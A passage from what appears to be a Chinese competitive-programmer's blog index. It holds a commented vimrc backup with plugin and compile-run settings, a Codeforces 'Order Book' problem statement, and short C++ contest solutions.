显示中文帮助 56if version \u003e= 603 57 set helplang=cn 58 set encoding=utf-8 59endif 60\" 设置配色方案 61\"colorscheme murphy 62\"字体 63\"if (has(\"gui_running\")) 64\" set guifont=Bitstream\\ Vera\\ Sans\\ Mono\\ 10 65\"endif ","date":"2015-08-23","externalUrl":null,"permalink":"/2015/08/vimrc/","section":"Posts","summary":"1map \u003cF9\u003e :call SaveInputData()\u003cCR\u003e 2func! SaveInputData() 3 exec \"tabnew\" 4 exec 'normal \"+gP' 5 exec \"w! code/in.txt\" 6endfunc 7 8 9 10\"colorscheme torte 11\" colorscheme murphy 12colorscheme elflord 13\" colorscheme molokai 14\"colorscheme elisex 15\"colorscheme colorer 16\"colorscheme blacklight 17\"colorscheme blue 18\"colorscheme darkblue 19\"colorscheme evening 20\"colorscheme shine 21 22 23 24 25\"set fencs=utf-8,ucs-bom,shift-jis,gb18030,gbk,gb2312,cp936 26\"set termencoding=utf-8 27\"set encoding=utf-8 28\"set fileencodings=ucs-bom,utf-8,cp936 29\"set fileencoding=utf-8 30 31\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 32\" 显示相关 33\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 34\"set shortmess=atI \" 启动的时候不显示那个援助乌干达儿童的提示 35\"winpos 5 5 \" 设定窗口位置 36\"set lines=40 columns=155 \" 设定窗口大小 37set go= \" 不要图形按钮 38\"color asmanian2 \" 设置背景主题 39\"set guifont=Courier_New:h10:cANSI \" 设置字体 40syntax on \" 语法高亮 41autocmd InsertLeave * se nocul \" 用浅色高亮当前行 42autocmd InsertEnter * se cul \" 用浅色高亮当前行 43\"set ruler \" 显示标尺 44set showcmd \" 输入的命令显示出来，看的清楚些 45\"set cmdheight=1 \" 命令行（在状态行下）的高度，设置为1 46\"set whichwrap+=\u003c,\u003e,h,l \" 允许backspace和光标键跨越行边界(不建议) 47\"set scrolloff=3 \" 光标移动到buffer的顶部和底部时保持3行距离 48set novisualbell \" 不要闪烁(不明白) 49set statusline=%F%m%r%h%w\\ [FORMAT=%{\u0026ff}]\\ [TYPE=%Y]\\ [POS=%l,%v][%p%%]\\ %{strftime(\\\"%d/%m/%y\\ -\\ %H:%M\\\")} \"状态行显示的内容 50set laststatus=1 \" 启动显示状态行(1),总是显示状态行(2) 51\"set foldenable \" 允许折叠 52set foldmethod=manual \" 手动折叠 53\"set background=dark \"背景使用黑色 54set nocompatible \"去掉讨厌的有关vi一致性模式，避免以前版本的一些bug和局限 55\" 显示中文帮助 56if version \u003e= 603 57 set helplang=cn 58 set encoding=utf-8 59endif 60\" 设置配色方案 61\"colorscheme murphy 62\"字体 63\"if (has(\"gui_running\")) 64\" set guifont=Bitstream\\ Vera\\ Sans\\ Mono\\ 10 65\"endif 66\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 67\"\"\"\"\"新文件标题 68\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 69\"新建.c,.h,.sh,.java文件，自动插入文件头 70autocmd BufNewFile *.cpp,*.[ch],*.sh,*.java exec \":call SetTitle()\" 71\"\"定义函数SetTitle，自动插入文件头 72\"map \u003cF4\u003e :call SetTitle()\u003cCR\u003e 73func SetTitle() 74 \"如果文件类型为.sh文件 75 if \u0026filetype == 'sh' 76 call setline(1,\"\\#########################################################################\") 77 call append(line(\".\"), \"\\# File Name: \".expand(\"%\")) 78 call append(line(\".\")+1, \"\\# Author: 111qqz\") 79 call append(line(\".\")+2, \"\\# mail: rkz2013@126.com\") 80 call append(line(\".\")+3, \"\\# Created Time: \".strftime(\"%c\")) 81 call append(line(\".\")+4, \"\\#########################################################################\") 82 call append(line(\".\")+5, \"\\#!/bin/bash\") 83 call append(line(\".\")+6, \"\") 84 else 85 let l = 0 86 let l = l + 1 | call setline(l,'/* ***********************************************') 87 let l = l + 1 | call setline(l,'Author :111qqz') 88 let l = l + 1 | call setline(l,'Created Time :'.strftime('%c')) 89 let l = l + 1 | call setline(l,'File Name :'.expand('%')) 90 let l = l + 1 | call setline(l,'************************************************ */') 91 let l = l + 1 | call setline(l,'') 92 endif 93 if \u0026filetype == 'cpp' 94 let l = l + 1 | call setline(l,'#include \u003ccstdio\u003e') 95 let l = l + 1 | call setline(l,'#include \u003ccstring\u003e') 96 let l = l + 1 | call setline(l,'#include \u003ciostream\u003e') 97 let l = l + 1 | call setline(l,'#include \u003calgorithm\u003e') 98 let l = l + 1 | call setline(l,'#include \u003cvector\u003e') 99 let l = l + 1 | call setline(l,'#include \u003cqueue\u003e') 100 let l = l + 1 | call setline(l,'#include \u003cset\u003e') 101 let l = l + 1 | call setline(l,'#include \u003cmap\u003e') 102 let l = l + 1 | call setline(l,'#include \u003cstring\u003e') 103 let l = l + 1 | call setline(l,'#include \u003ccmath\u003e') 104 let l = l + 1 | call setline(l,'#include \u003ccstdlib\u003e') 105 let l = l + 1 | call setline(l,'#include \u003cctime\u003e') 106 let l = l + 1 | call setline(l,'#define fst first') 107 let l = l + 1 | call setline(l,'#define sec second') 108 let l = l + 1 | call setline(l,'#define lson l,m,rt\u003c\u003c1') 109 let l = l + 1 | call setline(l,'#define rson m+1,r,rt\u003c\u003c1|1') 110 let l = l + 1 | call setline(l,'#define ms(a,x) memset(a,x,sizeof(a))') 111 let l = l + 1 | call setline(l,'typedef long long LL;') 112 let l = l + 1 | call setline(l,'#define pi pair \u003c int ,int \u003e') 113 let l = l + 1 | call setline(l,'#define MP make_pair') 114 let l = l + 1 | call setline(l,'') 115 let l = l + 1 | call setline(l,'using namespace std;') 116 let l = l + 1 | call setline(l,'const double eps = 1E-8;') 117 let l = l + 1 | call setline(l,'const int dx4[4]={1,0,0,-1};') 118 let l = l + 1 | call setline(l,'const int dy4[4]={0,-1,1,0};') 119 let l = l + 1 | call setline(l,'const int inf = 0x3f3f3f3f;') 120 let l = l + 1 | call setline(l,'int main()') 121 let l = l + 1 | call setline(l,'{') 122 let l = l + 1 | call setline(l,' #ifndef ONLINE_JUDGE ') 123 let l = l + 1 | call setline(l,' freopen(\"code/in.txt\",\"r\",stdin);') 124 let l = l + 1 | call setline(l,' #endif') 125 let l = l + 1 | call setline(l,'') 126 let l = l + 1 | call setline(l,' #ifndef ONLINE_JUDGE ') 127 let l = l + 1 | call setline(l,' fclose(stdin);') 128 let l = l + 1 | call setline(l,' #endif') 129 let l = l + 1 | call setline(l,' return 0;') 130 let l = l + 1 | call setline(l,'}') 131 132 133 endif 134 if \u0026filetype == 'c' 135 call append(line(\".\")+6, \"#include\u003cstdio.h\u003e\") 136 call append(line(\".\")+7, \"\") 137 endif 138 if \u0026filetype == 'java' 139 call append(line(\".\")+6,\"public class \".expand(\"%\")) 140 call append(line(\".\")+7,\"\") 141 endif 142 \"新建文件后，自动定位到文件末尾 143 autocmd BufNewFile * normal G23 144endfunc 145\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 146\"键盘命令 147\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"v\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 148 149nmap \u003cleader\u003ew :w!\u003ccr\u003e 150nmap \u003cleader\u003ef :find\u003ccr\u003e 151 152nmap \u003cF8\u003e :TagbarToggle\u003cCR\u003e 153 154 155\" 映射全选+复制 ctrl+a 156map \u003cC-A\u003e ggvG\"+Y 157map! \u003cC-A\u003e \u003cEsc\u003eggVGY 158map \u003cF12\u003e gg=G 159\" 选中状态下 Ctrl+c 复制 160vmap \u003cC-c\u003e \"+y 161\"去空行 162nnoremap \u003cF2\u003e :g/^\\s*$/d\u003cCR\u003e 163\"比较文件 164nnoremap \u003cC-F2\u003e :vert diffsplit 165\"新建标签 166map \u003cM-F2\u003e :tabnew\u003cCR\u003e 167\"列出当前目录文件 168map \u003cF3\u003e :tabnew .\u003cCR\u003e 169\"打开树状文件目录 170map \u003cC-F3\u003e \\be 171\"C，C++ 按F5编译运行 172map \u003cF5\u003e :call CompileRunGcc()\u003cCR\u003e 173 174let g:tagbar_usearrows = 1 175nnoremap \u003cleader\u003el :TagbarToggle\u003cCR\u003e 176func! CompileRunGcc() 177 exec \"w\" 178 if \u0026filetype == 'c' 179 exec \"!g++ % -o %\u003c\" 180 exec \"! ./%\u003c\" 181 elseif \u0026filetype == 'cpp' 182 exec \"!g++ % -o %\u003c\" 183 exec \"! ./%\u003c\" 184 elseif \u0026filetype == 'java' 185 exec \"!javac %\" 186 exec \"!java %\u003c\" 187 elseif \u0026filetype == 'sh' 188 :!./% 189 elseif \u0026filetype == 'py' 190 exec \"!python %\" 191 exec \"!python %\u003c\" 192 endif 193endfunc 194\"C,C++的调试 195\"map \u003cF8\u003e :call Rungdb()\u003cCR\u003e 196func! Rungdb() 197 exec \"w\" 198 exec \"!g++ % -g -o %\u003c\" 199 exec \"!gdb ./%\u003c\" 200endfunc 201 202 203 204\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 205\"\"实用设置 206\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 207\" 设置当文件被改动时自动载入 208set autoread 209\" quickfix模式 210autocmd FileType c,cpp map \u003cbuffer\u003e \u003cleader\u003e\u003cspace\u003e :w\u003ccr\u003e:make\u003ccr\u003e 211\"代码补全 212set completeopt=preview,menu 213\"允许插件 214filetype plugin on 215\"共享剪贴板 216set clipboard+=unnamed 217\"从不备份 218set nobackup 219\"make 运行 220:set makeprg=g++\\ -Wall\\ \\ % 221\"自动保存 222set autowrite 223set ruler \" 打开状态栏标尺 224set cursorline \" 突出显示当前行 225set magic \" 设置魔术 226set guioptions-=T \" 隐藏工具栏 227set guioptions-=m \" 隐藏菜单栏 228\"set statusline=\\ %\u003c%F[%1*%M%*%n%R%H]%=\\ %y\\ %0(%{\u0026fileformat}\\ %{\u0026encoding}\\ %c:%l/%L%)\\ 229\" 设置在状态行显示的信息 230set foldcolumn=0 231set foldmethod=indent 232set foldlevel=3 233set foldenable \" 开始折叠 234\" 不要使用vi的键盘模式，而是vim自己的 235set nocompatible 236\" 语法高亮 237set syntax=on 238\" 去掉输入错误的提示声音 239set noeb 240\" 在处理未保存或只读文件的时候，弹出确认 241set confirm 242\" 自动缩进 243set autoindent 244set clipboard+=unnamed 245set cindent 246\" Tab键的宽度 247set tabstop=8 248\" 统一缩进为8 249set softtabstop=4 250set shiftwidth=4 251\" 不要用空格代替制表符 252set noexpandtab 253\" 在行和段开始处使用制表符 254set smarttab 255\" 显示行号 256set number 257\" 历史记录数 258set history=1000 259\"禁止生成临时文件 260set nobackup 261set noswapfile 262\"搜索忽略大小写 263set ignorecase 264\"搜索逐字符高亮 265set hlsearch 266set incsearch 267\"行内替换 268set gdefault 269\"编码设置 270set enc=utf-8 271set fencs=utf-8,ucs-bom,shift-jis,gb18030,gbk,gb2312,cp936 272\"语言设置 273set langmenu=zh_CN.UTF-8 274set helplang=cn 275\" 我的状态行显示的内容（包括文件类型和解码） 276\"set statusline=%F%m%r%h%w\\ [FORMAT=%{\u0026ff}]\\ [TYPE=%Y]\\ [POS=%l,%v][%p%%]\\ %{strftime(\\\"%d/%m/%y\\ -\\ %H:%M\\\")} 277\"set statusline=[%F]%y%r%m%*%=[Line:%l/%L,Column:%c][%p%%] 278\" 总是显示状态行 279set laststatus=2 280\" 命令行（在状态行下）的高度，默认为1，这里是2 281set cmdheight=2 282\" 侦测文件类型 283filetype on 284\" 载入文件类型插件 285filetype plugin on 286\" 为特定文件类型载入相关缩进文件 287filetype indent on 288\" 保存全局变量 289set viminfo+=! 290\" 带有如下符号的单词不要被换行分割 291set iskeyword+=_,$,@,%,#,- 292\" 字符间插入的像素行数目 293set linespace=0 294\" 增强模式中的命令行自动完成操作 295set wildmenu 296\" 使回格键（backspace）正常处理indent, eol, start等 297set backspace=2 298\" 允许backspace和光标键跨越行边界 299set whichwrap+=\u003c,\u003e,h,l 300\" 可以在buffer的任何地方使用鼠标（类似office中在工作区双击鼠标定位） 301set mouse=a 302set selection=exclusive 303set selectmode=mouse,key 304\" 通过使用: commands命令，告诉我们文件的哪一行被改变过 305set report=0 306\" 在被分割的窗口间显示空白，便于阅读 307set fillchars=vert:\\ ,stl:\\ ,stlnc:\\ 308\" 高亮显示匹配的括号 309set showmatch 310\" 匹配括号高亮的时间（单位是十分之一秒） 311set matchtime=1 312\" 光标移动到buffer的顶部和底部时保持3行距离 313set scrolloff=3 314\" 为C程序提供自动缩进 315set smartindent 316\" 高亮显示普通txt文件（需要txt.vim脚本） 317set cursorline 318hi CursorLine cterm=bold ctermbg=blue ctermfg=yellow 319au BufRead,BufNewFile * setfiletype txt 320\"自动补全 321\":inoremap ( ()\u003cESC\u003ei 322\":inoremap ) \u003cc-r\u003e=ClosePair(')')\u003cCR\u003e 323:inoremap { {\u003cCR\u003e}\u003cESC\u003eO 324:inoremap } \u003cc-r\u003e=ClosePair('}')\u003cCR\u003e 325\":inoremap [ []\u003cESC\u003ei 326\":inoremap ] \u003cc-r\u003e=ClosePair(']')\u003cCR\u003e 327\":inoremap \" \"\"\u003cESC\u003ei 328\":inoremap ' ''\u003cESC\u003ei 329function! ClosePair(char) 330 if getline('.')[col('.') - 1] == a:char 331 return \"\\\u003cRight\u003e\" 332 else 333 return a:char 334 endif 335endfunction 336filetype plugin indent on 337\"打开文件类型检测, 加了这句才可以用智能补全 338set completeopt=longest,menu 339\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 340 341 342 343 344 345 346\"NERDtee设定 347let NERDChristmasTree=1 348let NERDTreeAutoCenter=1 349let NERDTreeBookmarksFile=$VIM.'\\Data\\NerdBookmarks.txt' 350let NERDTreeMouseMode=2 351let NERDTreeShowBookmarks=1 352let NERDTreeShowFiles=1 353let NERDTreeShowHidden=1 354let NERDTreeShowLineNumbers=1 355let NERDTreeWinPos='left' 356let NERDTreeWinSize=31 357nnoremap f :NERDTreeToggle 358map \u003cF7\u003e :NERDTree\u003cCR\u003e 359 360\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"Taglist设置\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 361\"\"let Tlist_Auto_Open = 1 362let Tlist_Ctags_Cmd = '/usr/bin/ctags' 363let Tlist_Show_One_File = 1 364let Tlist_Exit_OnlyWindow = 1 365 366 367 368\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"vundle设置\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 369set nocompatible 370\"filetype off 371set rtp+=~/.vim/bundle/vundle/ 372call vundle#rc() 373Bundle 'gmarik/vundle' 374\" vim-scripts repos 375Bundle 'bash-support.vim' 376Bundle 'perl-support.vim' 377Bundle 'majutsushi/tagbar' 378Bundle 'ZoomWin' 379Bundle \"scrooloose/syntastic\" 380\" set the runtime path to include Vundle and initialize 381set rtp+=~/.vim/bundle/vundle/ 382call vundle#rc() 383\" alternatively, pass a path where Vundle should install plugins 384\"let path = '~/some/path/here' 385\"call vundle#rc(path) 386 387\" let Vundle manage Vundle, required 388Plugin 'gmarik/vundle' 389Bundle \"scrooloose/syntastic\" 390filetype plugin indent on \" required 391Bundle 'Valloric/YouCompleteMe' 392 393 394 395\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"Tagbar设置\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 396let g:tagbar_autofocus = 1 397let g:tagbar_sort = 0 398let g:tagbar_compact = 1 399let g:tagbar_indent = 1 400let g:tagbar_autoshowtag = 1 401 402 403 404\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"youcompleteme设置\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 405 406 407\"let g:ycm_autoclose_preview_window_after_completion=1 408\"nnoremap \u003cleader\u003eg :YcmCompleter GoToDefinitionElseDeclaration\u003cCR\u003e 409 410\" YouCompleteMe 功能 411\" 补全功能在注释中同样有效 412\"let g:ycm_global_ycm_extra_conf = '~/.vim/bundle/YouCompleteMe/cpp/ycm/.ycm_extra_conf.py' 413\"let g:ycm_complete_in_comments=1 414\" 允许 vim 加载 .ycm_extra_conf.py 文件，不再提示 415\"let g:ycm_confirm_extra_conf=0 416 417let g:ycm_error_symbol = '\u003e\u003e' 418let g:ycm_warning_symbol = '\u003e' 419\"nnoremap \u003cleader\u003egl :YcmCompleter GoToDeclaration\u003cCR\u003e 420\"nnoremap \u003cleader\u003egf :YcmCompleter GoToDefinition\u003cCR\u003e 421\"nnoremap \u003cleader\u003egg :YcmCompleter GoToDefinitionElseDeclaration\u003cCR\u003e 422\"nmap \u003cF4\u003e :YcmDiags\u003cCR\u003e 423 424 425 426 427\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"youcompleteme设置 by wyz\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 428let g:cpp_class_scope_highlight=1 429let g:cpp_experimental_template_highlight=1 430let g:ycm_show_diagnostics_ui=0 431let g:ycm_enable_diagnostic_signs=0 432let g:ycm_enable_diagnostic_highlighting = 0 433let g:ycm_echo_current_diagnostic = 0 434let g:ycm_collect_identifiers_from_tags_files = 1 435let g:ycm_key_invoke_completion = '\u003cC-Q\u003e' 436let g:ycm_seed_identifiers_with_syntax = 1 437let g:ycm_global_ycm_extra_conf = '~/.ycm_extra_conf.py' 438let g:ycm_collect_identifiers_from_tags_files = 1 439let g:ycm_confirm_extra_conf = 0 440let g:ycm_autoclose_preview_window_after_completion = 1 441let g:ycm_autoclose_preview_window_after_insertion = 1 442 443 444\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"php是最好的语言23333\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 445\"只有在是PHP文件时，才启用PHP补全 446au FileType php call AddPHPFuncList() 447function AddPHPFuncList() 448 set dictionary-=/home/feiyan/tools/vim/funclist.txt dictionary+=/home/feiyan/tools/vim/funclist.txt 449 set complete-=k complete+=k 450endfunction 451 452\"根据文件类型设置缩进格式 453 454au FileType html,python,vim,javascript setl shiftwidth=2 455au FileType html,python,vim,javascript setl tabstop=2 456au FileType java,php setl shiftwidth=4 457au FileType java,php setl tabstop=4 458 459set ai \"自动对齐 460 461set foldlevel=100 \" 禁止自动折叠 462 463filetype plugin on 464autocmd FileType python set omnifunc=pythoncomplete#Complete 465 466let g:pydiction_location='~/.vim/tools/pydiction/complete-dict'","tags":["算法竞赛"],"title":"vimrc备份","type":"post"},{"categories":["ACM"],"content":"B. Order Book time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output In this task you need to process a set of stock exchange orders and use them to create order book. An order is an instruction of some participant to buy or sell stocks on stock exchange. The order number i has price p__i, direction d__i – buy or sell, and integer q__i. This means that the participant is ready to buy or sell q__i stocks at price p__i for one stock. A value q__i is also known as a volume of an order. All orders with the same price p and direction d are merged into one aggregated order with price p and direction d. The volume of such order is a sum of volumes of the initial orders. An order book is a list of aggregated orders, the first part of which contains sell orders sorted by price in descending order, the second contains buy orders also sorted by price in descending order. An order book of depth s contains s best aggregated orders for each direction. A buy order is better if it has higher price and a sell order is better if it has lower price. If there are less than s aggregated orders for some direction then all of them will be in the final order book. You are given n stock exhange orders. Your task is to print order book of depth s for these orders. Input The input starts with two positive integers n and s (1 ≤ n ≤ 1000, 1 ≤ s ≤ 50), the number of orders and the book depth. Next n lines contains a letter d__i (either ‘B’ or ‘S’), an integer p__i (0 ≤ p__i ≤ 105) and an integer q__i (1 ≤ q__i ≤ 104) – direction, price and volume respectively. The letter ‘B’ means buy, ‘S’ means sell. The price of any sell order is higher than the price of any buy order. Output Print no more than 2_s_ lines with aggregated orders from order book","date":"2015-08-23","externalUrl":null,"permalink":"/2015/08/codeforces317div2b-orderbook/","section":"Posts","summary":"B. Order Book time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output In this task you need to process a set of stock exchange orders and use them to create order book.","tags":["模拟"],"title":"codeforces # 317 div 2 B. Order Book（模拟）","type":"post"},{"categories":["ACM"],"content":"应该３分钟过的题。。。 结果花了８分钟。。。ssssad 1/************************************************************************* 2 \u003e File Name: code/cf/#317/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月23日 星期日 00时29分47秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int na,nb,k,m; 33int a[N],b[N]; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003ena\u003e\u003enb; 40 cin\u003e\u003ek\u003e\u003em; 41 for ( int i = 1 ; i \u003c= na ; i++){ 42 scanf(\"%d\",\u0026a[i]); 43 } 44 for ( int i = 1 ; i\u003c= nb ; i++){ 45 scanf(\"%d\",\u0026b[i]); 46 } 47 if (a[k]\u003cb[nb-m+1]){ 48 puts(\"YES\"); 49 } 50 else 51 { 52 puts(\"NO\"); 53 } 54 55 56 #ifndef ONLINE_JUDGE 57 fclose(stdin); 58 #endif 59 return 0; 60}","date":"2015-08-23","externalUrl":null,"permalink":"/2015/08/codeforces317div2a-arrays/","section":"Posts","summary":"应该３分钟过的题。。。 结果花了８分钟。。。ssssad 1/************************************************************************* 2 \u003e File Name: code/cf/#317/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月23日 星期日 00时29分47秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int na,nb,k,m; 33int a[N],b[N]; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003ena\u003e\u003enb; 40 cin\u003e\u003ek\u003e\u003em; 41 for ( int i = 1 ; i \u003c= na ; i++){ 42 scanf(\"%d\",\u0026a[i]); 43 } 44 for ( int i = 1 ; i\u003c= nb ; i++){ 45 scanf(\"%d\",\u0026b[i]); 46 } 47 if (a[k]\u003cb[nb-m+1]){ 48 puts(\"YES\"); 49 } 50 else 51 { 52 puts(\"NO\"); 53 } 54 55 56 #ifndef ONLINE_JUDGE 57 fclose(stdin); 58 #endif 59 return 0; 60}","tags":["水题"],"title":"codeforces #317 div2 A. Arrays (水)","type":"post"},{"categories":["ACM"],"content":"傻逼模拟题 我做了半小时…. sssssad 1/************************************************************************* 2 \u003e File Name: code/bc/#52/1001.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月22日 星期六 18时51分44秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#include\u003ccctype\u003e 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define ms(a,x) memset(a,x,sizeof(a)) 24#define lr dying111qqz 25using namespace std; 26#define For(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef double DB; 29const int inf = 0x3f3f3f3f; 30const int N=1E6+7; 31int main() 32{ 33 #ifndef ONLINE_JUDGE 34 freopen(\"in.txt\",\"r\",stdin); 35 #endif 36 int x,y,w,n; 37 while (scanf(\"%d%d%d%d\",\u0026x,\u0026y,\u0026w,\u0026n)!=EOF){ 38 int num = 1; 39 int cnt; 40 int q; 41 bool on = true; 42 bool flag = false; 43 int t = 0; 44 while (t\u003cN\u0026\u0026!flag){ 45 if (num==n) { 46 cout\u003c\u003ct\u003c\u003cendl; 47 flag = true; 48 break; 49 } 50 cnt = t+x; 51 q = 0; 52 while (t\u003ccnt){ 53 q++; 54 t++; 55 if (q%w==0){ 56// cout\u003c\u003c\"aaat:\"\u003c\u003ct\u003c\u003cendl; 57 num++; 58 } 59 if (num == n){ 60 cout\u003c\u003ct\u003c\u003cendl; 61 flag = true; 62 break; 63 } 64 } 65 on = false; 66 t = t + y; 67 on = true; 68 num++; 69 if (num==n){ 70 cout\u003c\u003ct\u003c\u003cendl; 71 flag = true; 72 } 73 } 74 } 75 #ifndef ONLINE_JUDGE 76 fclose(stdin); 77 #endif 78 return 0; 79}","date":"2015-08-22","externalUrl":null,"permalink":"/2015/08/hdoj5417/","section":"Posts","summary":"傻逼模拟题 我做了半小时…. sssssad 1/************************************************************************* 2 \u003e File Name: code/bc/#52/1001.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月22日 星期六 18时51分44秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#include\u003ccctype\u003e 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define ms(a,x) memset(a,x,sizeof(a)) 24#define lr dying111qqz 25using namespace std; 26#define For(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef double DB; 29const int inf = 0x3f3f3f3f; 30const int N=1E6+7; 31int main() 32{ 33 #ifndef ONLINE_JUDGE 34 freopen(\"in.txt\",\"r\",stdin); 35 #endif 36 int x,y,w,n; 37 while (scanf(\"%d%d%d%d\",\u0026x,\u0026y,\u0026w,\u0026n)!=EOF){ 38 int num = 1; 39 int cnt; 40 int q; 41 bool on = true; 42 bool 